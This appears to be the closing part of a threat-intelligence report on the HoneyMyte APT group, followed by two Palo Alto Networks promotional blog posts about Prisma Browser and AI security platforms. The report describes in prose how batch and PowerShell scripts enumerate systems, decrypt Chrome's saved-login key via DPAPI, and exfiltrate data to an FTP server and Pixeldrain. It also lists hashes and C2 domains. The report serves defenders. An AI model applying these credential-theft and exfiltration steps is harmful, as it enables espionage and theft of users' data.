Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Code similarity between HoneyMyte's saved login data stealer and LuminousMoth's cookie stealer

Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

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Redefining Workspace: Prisma Browser Secures Leadership in Frost Radar

We are proud to announce that Frost & Sullivan has recognized Palo Alto Networks Prisma® Browser™ as the best-positioned market leader in the Frost Radar™: Zero Trust Browser Security (ZTBS), 2025 report, securing the premier position for innovation and a leadership position on growth.

This recognition comes at a pivotal moment. For the modern enterprise, the browser is no longer just an application; it is your new OS. With 85% of the work happening in browsers, it has become the focal point where revenue is generated and sensitive data is accessed. However, this shift has transformed your primary workspace into the primary attack vector, with 95% of organizations having reported a security incident originating in the browser, placing it on the frontline against sophisticated AI® threats and critical vulnerabilities. The risk of evasive, AI-driven phishing attempts is compounded by the widespread use of managed and unmanaged devices, creating blind spots that allow sensitive data to be exfiltrated faster than ever.

To combat this, enterprises need a browser that doesn't just display the web but actively defends it with its users, apps, data and devices. This is a necessity that drives our latest industry recognition.

Proven Leadership Validated by the Market

Frost Radar growth index and innovation index.

Prisma Browser’s recognition as the best-positioned leader, securing the premier position for innovation and a leadership position on growth, is a testament to our commitment to deliver best-in-class security that is both easy to deploy and that IT and users love to use. By integrating Palo Alto Networks Precision AI® technology, Cloud-Delivered Security Services (CDSS) and Enterprise DLP, we ensure our customers benefit from the power of our security engines. And because they are natively integrated in the browser, we are mitigating threats hiding in encrypted traffic, blind spot web channels, AI-powered spear phishing and other evasive web threats that legacy security tools simply cannot identify.

Prisma Browser’s Innovation Advantage

Our leadership is driven by continuous strategic innovation in the secure browser space. Prisma Browser delivers critical "last-mile" protection through the native integration of CDSS, including Advanced WildFire® for zero-day malware analysis and Advanced URL Filtering instantly at the point of user interaction. Building on this foundation, our latest innovations extend secure work to all applications, including those beyond SSO, providing full visibility and last-mile protection for unmanaged applications, such as GenAI apps, closing gaps left by incomplete identity coverage. We further solidify this best-in-class security through additional cutting-edge innovations: Advanced Web Protection for real-time evasive threat protection, Advanced Browser Protection for zero-day browser exploitation defense, and Advanced Extension Security for runtime extension security.

At the core of this defense is Precision AI, our proprietary engine that combines machine learning, deep learning and generative AI to automate detection, prevention and remediation with industry-leading accuracy. Unlike standard security tools that rely on static signatures, Prisma Browser, powered by Precision AI, inspects live, fully rendered content. It detects evasive phishing attempts (such as AI-generated cloaking) and malicious reassembly attacks that legacy tools miss, effectively fighting AI with AI. Fueled by intelligence from over 70 thousand customers, Prisma Browser delivers unmatched threat detection, identifying and blocking up to 8.95 million new and unique attacks every single day.

The Frost Report says this about Palo Alto Networks Innovation:

Key differentiating capabilities include last-mile data leakage protection with browser-level visibility; AI-powered web attack detection and prevention with full page runtime visibility; detection and disabling of malicious extensions using behavioral monitoring; an advanced AI-powered DLP engine; in-browser anti-exploit protection; and a rich library of AI applications and agents.

Crucially, Enterprise DLP capabilities are embedded directly into the rendering engine, granting granular control over sensitive data that traditional network-level tools effectively miss. This helps ensure that data on both managed and unmanaged devices remains secure against exfiltration via clipboard restrictions, screenshot blocking, real-time redaction and more, without disrupting the user experience.

Prisma Browser’s Growth Advantage

Central to the widespread adoption of Prisma Browser is our proven ability to secure the managed workforce at scale without disrupting daily workflows. One of our key differentiators is our 100% license portability, which allows organizations to deploy Prisma Browser across their entire fleet of devices, whether as full browsers, extensions, mobile solutions and firewall connectors with complete flexibility. This frictionless deployment model enables IT teams to instantly layer enterprise-grade security and unified policies onto the same native browser UX employees already know and use.

For CISOs and CIOs focused on streamlining operations, Prisma Browser is also offered as a fully integrated solution within the Prisma® SASE platform, enabling unified policies across all Palo Alto Networks solutions.

Looking Ahead

While we are proud of our position on the Frost Radar: Zero Trust Browser Security (ZTBS) report, we are just getting started. By accelerating initiatives in GenAI security, complete web protection, modern data protection and VDI reduction, we are redefining the browser. We don't just want the browser to be where you work; we are transforming it from the primary attack vector into one of the organization's most robust lines of defense and the single point where they can identify AI driven attacks and fight AI with AI.

Read the full Frost Radar: Zero Trust Browser Security (ZTBS), 2025 report to explore the details behind our market leadership. Then, schedule a demo to witness how Prisma Browser transforms your primary workspace into your strongest line of defense.

The post Redefining Workspace: Prisma Browser Secures Leadership in Frost Radar appeared first on Palo Alto Networks Blog.

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Winning the AI Race Starts with the Right Security Platform

Every CIO and CISO we speak with describes the same paradox: AI is now central to their transformation agenda, yet the fastest way to derail that agenda is to lose control of AI. As generative AI, agentic systems and embedded AI features spread across the enterprise, leaders are no longer asking if they need AI security; they’re asking what kind of AI security strategy will actually scale.

Gartner® has published two recent reports that validate this reality and outline the strategic direction enterprises must take to secure their AI:

Why AI Security Is a Platform Game

Point products can plug individual gaps, but they can’t keep up with the speed, complexity and interconnected nature of AI adoption. And more importantly, they struggle to deliver the trust, consistency or scale AI transformation requires.

Many organizations are already experiencing AI adoption outpacing traditional security tools. Security teams are under pressure on three fronts:

  • Risk – Shadow AI, unmanaged agents and custom LLMs create new pathways for data loss, intellectual property exposure and model misuse.
  • Cost – Each new AI use case brings yet another tool, driving up license, integration and operations costs.
  • Complexity – Fragmented controls across network, data, identity and application stacks create blind spots exactly where AI is moving fastest.

From a CIO or CISO’s perspective, this isn’t just a technical concern but the fault line beneath their entire AI agenda. CIOs are under pressure to deliver productivity gains, cost efficiencies and new AI-powered capabilities faster than ever before.

CISOs, on the other hand, see a parallel reality: custom-built AI applications that may be insecure by default, agents that can act unpredictably, and a constant risk that company secrets or customer data could leak into third-party GenAI tools.

If AI moves forward without security, the enterprise is exposed. If AI slows down because security can’t keep up, the business misses its transformation goals. This is why AI security isn’t a feature; it’s the determining factor in whether AI becomes a competitive advantage or a strategic setback.

Gartner recommends the path forward as “an integrated modular AI security platform (AISP) with a common UI, data model, content inspection engine and consistent policy enforcement.”

Gartner further recommends prioritizing investments in two phases.

Phase 1

Start with AI usage control to secure the consumption of third-party AI services.

Phase 2

Expand into AI application protection to securely develop and run AI applications.

Phase 1: Securing Generative AI Usage Is the “Right Now” Challenge

Before enterprises can secure how AI is developed, they must first understand how it is already being used across the organization. The earliest risks often emerge not from the AI-enabled apps built in-house, but from the external generative AI tools and copilots employees adopt, and often without the IT teams’ knowledge.

That’s why we think the report identifies AI usage control as phase one and why we recommend IT leaders start with these immediate questions to assess their organization’s AI usage.

  • Where is AI actually being used in my organization?
  • Which tools, copilots and agents are in play, and on what data?
  • How do I enable productivity without losing control?

Phase 2: Securing AI Development Early Into the AI Lifecycle

Once public generative AI use is understood, the harder challenge emerges: Securing the AI apps and tools that your organization creates for itself. As models, agents and pipelines move into production, the questions shift from visibility to integrity, safety and scale.

Key questions that organizations must answer in phase two include:

  • What AI applications, models and agents are my teams building, and where do they live?
  • How do I manage the integrity, safety and compliance of AI apps before they reach production?
  • How do I protect models and AI applications from prompt injection, misuse or agentic threats?
  • How do I scale AI innovation without creating security bottlenecks for developers?

Palo Alto Networks Delivers the AI Security Platform

Although organizations can separate the work around securing AI usage and AI development, they are not two separate problems. The same organization that needs visibility into employees using public GenAI apps also needs to protect the AI applications and agents they’ve built as they move into production. A platform approach is what allows shared policies, shared guardrails and shared context across both sides of the AI usage and development equation.

That is exactly the philosophy behind our Secure AI by Design approach:

  • Secure how GenAI is used with Prisma® Browser™ and Prisma SASE to discover AI tools in use, govern access and prevent sensitive data from flowing into public models, all while keeping users productive with GenAI and enterprise copilots.
  • Secure how AI is built with capabilities of Prisma AIRS™, such as model and agent security, AI security posture management, runtime protection, automated testing with AI Red Teaming, as well as coverage for agentic protocols, like MCP, securing custom AI applications, agents and pipelines.

Gartner identifies Palo Alto Networks as “the company to beat” in their newly released report as of December 8, 2025: “AI Vendor Race: Palo Alto Networks Is the Company to Beat in AI Security Platforms.”

We believe we are the AI Security Platform to beat because:

  • Palo Alto Networks product portfolio across network, edge, cloud and data provides a strong foundation for AI usage visibility and control.
  • The acquisition of Protect AI integrated industry-leading AI talent and products resulting in the recently announced Prisma AIRS 2.0, which delivers comprehensive end-to-end AI security, seamlessly connecting deep AI agent and model inspection in development with real-time agent defense at production runtime. The platform, continuously validated by autonomous AI red teaming, secures all interactions between AI models, agents, data and users. This gives enterprises the confidence to discover, assess and protect their entire AI ecosystem, accelerating secure innovation.
  • Complementing the platform, Unit 42®’s deep expertise and Huntr’s bug bounty program, provide security thought leadership that directly improves product effectiveness and threat intelligence. These programs help us continuously uncover new attack patterns, misconfigurations and supply chain risks unique to AI systems, as well as feed those insights directly back into the product roadmap.
  • Our large installed base and distribution channels create a flywheel for AI security platform adoption and learning from our customers and partners.

We also believe that underneath the technical requirements is a deeper truth: CIOs and CISOs want to move fast on AI, but they only feel safe doing so with a partner who has the scale, signal and staying power. This is where our breadth, research depth and ecosystem matter.

Leading Responsibly Means Listening, Innovating and Evolving

Being early is an advantage, but staying ahead requires humility and continuous learning. Leading means seeing what comes next, and Gartner’s insights accelerate our own roadmap as we continue to evolve.

  • Simplifying the Experience: We are integrating capabilities across Prisma AIRS, Prisma SASE and Prisma Browser to make AI security easier to adopt, operate and scale through Strata™ Cloud Manager as the single entry point.
  • Going Deeper into the AI Engineering Pipeline: We recognize that securing AI must start early in the developing environment and ML pipeline, not just at runtime. Our integrations with AI development tools and code repositories will continue to expand.
  • Keeping Pace with a Fast-Moving Market: We are investing in open standards, partnerships and research, so our customers don’t have to chase every point solution that appears. Palo Alto Networks is also a contributing member to OWASP Standards and Threat analysis to help create an industry standard on AI security.
  • Working Along Native AI Controls: Cloud providers and AI platforms are adding their own security features. We aim to complement, not replace, those controls, providing unified visibility, advanced protection and consistent policies across a fragmented AI landscape.

For us, being “the company to beat” is not a finish line. It’s a responsibility to listen carefully to customers, adapt as AI evolves, and keep delivering practical, integrated outcomes rather than isolated features.

If you are a GM, CIO, CISO or AI leader trying to make sense of a rapidly crowding AI security landscape, we believe “GMs: Win the AI Security Battle With an AI Security Platform”​​ is essential reading.

In the end, the real race isn’t about features; it’s about who helps enterprises accelerate transformation safely, reduce risk and compete better with AI they can trust.

 

Disclaimer: Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.

Gartner, AI Vendor Race: Palo Alto Networks is the Company to Beat in AI Security Platforms, By Mark Wah, Neil MacDonald, Marissa Schmidt, Dennis Xu, Evan Zeng, 8 December 2025. 

Gartner, GMs: Win the AI Security Battle With an AI Security Platform, By Neil MacDonald, Tarun Rohilla, 6 October 2025.

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

The post Winning the AI Race Starts with the Right Security Platform appeared first on Palo Alto Networks Blog.

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